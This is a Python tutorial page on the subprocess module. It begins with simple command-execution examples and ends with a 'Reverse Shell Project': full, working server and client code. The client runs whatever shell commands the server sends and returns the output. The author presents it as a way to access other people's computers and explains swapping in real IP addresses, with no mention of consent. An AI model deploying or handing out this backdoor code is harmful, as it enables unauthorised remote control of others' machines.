Python Tutorials: Learn Python Subprocess Module in Detail

In this part of Learning Python we Cover SubProcess Module Python
Written by Paayi Tech |19-Oct-2020 | 0 Comments | 658 Views

The Subprocess module is a very unique and life easy module. Sometimes we have to perform some functionality in which we have to do functions on the system or the system files.

If we write a code for such things, it can be lengthy and need higher expertise in-system programming. However, the subprocess module made it very easy.

If you know the command line for doing anything, we can perform and executes the command from the python program.

So, let’s look at how to make a program that can run a command. Here is the code of the subprocess.

Code

import subprocess

cmd_line = subprocess.run(['echo Hello World'],shell=True)

print('RETURN CODE:', cmd_line.returncode)

 

If we run this problem, the return code will be 0; why it is 0? 0 means that the command has been executed successfully.

So, what will be the return code when the command is not right? Here is the example of what will happen when the command is not right:

Code

import subprocess

cmd_line = subprocess.run(['echoo Hello World'],shell=True)

print('RETURN CODE:', cmd_line.returncode)

 

In the above example, we have changed a little bit and make the echo to echo, which makes the command wrong, and it will print 127 as the return code.

 

Outputting the Value:

The above mention code only shows the return code but how to get the output. The output of the command can be getting by giving the argument in a run function, and the argument is stdout. Following code to get the output of the command line.

import subprocess

cmd_line = subprocess.run(['echo HelloWorld'],shell=True,stdout=subprocess.PIPE)

print('RETURN CODE:', cmd_line.returncode)

print(cmd_line.stdout.decode('utf-8'))

 

The stdout will return the output value. The output is in the form of bytes, so we have to decode the string first and then print it. It prints Hello World as it is.

Now let us take a look at listing the files within a directory. As we know, in Linux, we use the ‘ls’ command to list the files within a directory.

Code

import subprocess

cmd_line = subprocess.run(['ls'],shell=True,stdout=subprocess.PIPE)

print('RETURN CODE:', cmd_line.returncode)

print(cmd_line.stdout.decode('utf-8'))

 

 

So the output is:

Output

RETURN CODE: 0

client.py

pylogo.png

server.py

It shows all the files within that folder.

 

Pipe in Subprocess:

In the sub-process, we can give multiple commands with arguments. For this purpose, we are using a pipe. The following code is used to run pipe with subprocess.

import subprocess

cmd_line = subprocess.Popen(['ls','-l'],shell=True,stdout=subprocess.PIPE)

print('RETURN CODE:', cmd_line.returncode)

print(cmd_line.stdout.read().decode('utf-8'))

 

Here the return code will be none because the return code argument is none is, and forgetting the error, we have to assign stderr arguments. The output of the above code will be as follows:

Output

RETURN CODE: None

total 92

-rw-rw-r-- 1 lalatoofani lalatoofani   500 فروری 10 09:51 client.py

-rw-rw-r-- 1 lalatoofani lalatoofani 83564 فروری 10 10:45 pylogo.png

-rw-rw-r-- 1 lalatoofani lalatoofani   186 فروری 10 14:36 server.py

 

This command shows all the detail of the file or folder. This is the subprocess. We can do anything which we can do with the command line we can do with the subprocess. This module work with all OS like Mac, Linux, and Windows.

 

Reverse Shell Project:

We have learned many fundamental aspects of the Python programming language now, and it’s time to do a small project.

In this project, we will be using the skills of networking and combine it with the subprocess to access the system of other people and make command line functionality on their computer.

This function will run locally, which means the system must be using the same network. So, let’s begin:

server.py

import socket

import sys

import os

import subprocess

host="127.0.0.1"

port=9898

s = socket.socket()

s.bind((host, port))

s.listen(5)

conn, address = s.accept()

print(f"Connected at:::IP {str(address[0])} | Port {str(address[1])}")

while True:

        cmd = input()

        if cmd == 'quit':

            conn.close()

            s.close()

            sys.exit()

        if len(str.encode(cmd)) > 0:

            conn.send(str.encode(cmd))

            client_response = str(conn.recv(1024), "utf-8")

            print(client_response, end="")

conn.close()

 

The server.py file is straightforward; it is merely sending the message as a string. The user has to send the commands as a string if the command is equal to quite, then the server will stop and exit the function.

Moreover, if the command length is greater than 0, than it will send it to the client, and at the same time, the command will be fetched, which shows the current status of the terminal. Now let see what we have to do in order to execute the commands on the client-side.

client.py

import os

import subprocess

import socket

host="127.0.0.1"

port=9898

s = socket.socket()

s.connect((host,port))

while True:

        data = s.recv(1024)

        if data[:2].decode("utf-8") == 'cd':

            os.chdir(data[3:].decode("utf-8"))

        if len(data) > 0:

            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

            output_bytes = cmd.stdout.read() + cmd.stderr.read()

            output_str = str(output_bytes, "utf-8")

            s.send(str.encode(output_str + str(os.getcwd()) + '> '))

            print("Command Sent")

s.close()

 

 

In the client.py file, we start with the importing os, subprocess, and sockets. The os module is used to get the current working directory from the client end so that it will be outputted on a server to track the location.

Then we connect the client with the server. If the connection is established, it will enter in a while block.

In a while block, the program receives the data. As we know, that cd command does not provide any output, so id the command contains the cd at the start, so it changes the directory, and then the command will be executed. Then there is another if condition which sees that if data is greater than the length of zero. If it is true, then the command will be executed, and the output and current working directory will be sent to the server where the user can make another request.

 

The figures below show the server program as follows:

Figure 1

moreover, the client-side file is as follows:

Figure 2

As it is shown in figure 2, we first make an echo hello world command, then we list the directory, which returns all the files of that folder. In last, we created the new folder named RS_Folder, which was made successfully. To use it with other systems, the actual IP address will be replaced by the localhost in both files, and it will execute the function in two separate systems.





Login/Sign Up

Comments




Related Posts



© Copyright 2020, All Rights Reserved. paayi.com

This site uses cookies. By continuing to use this site or clicking "I Agree", you agree to the use of cookies. Read our cookies policy and privacy statement for more information.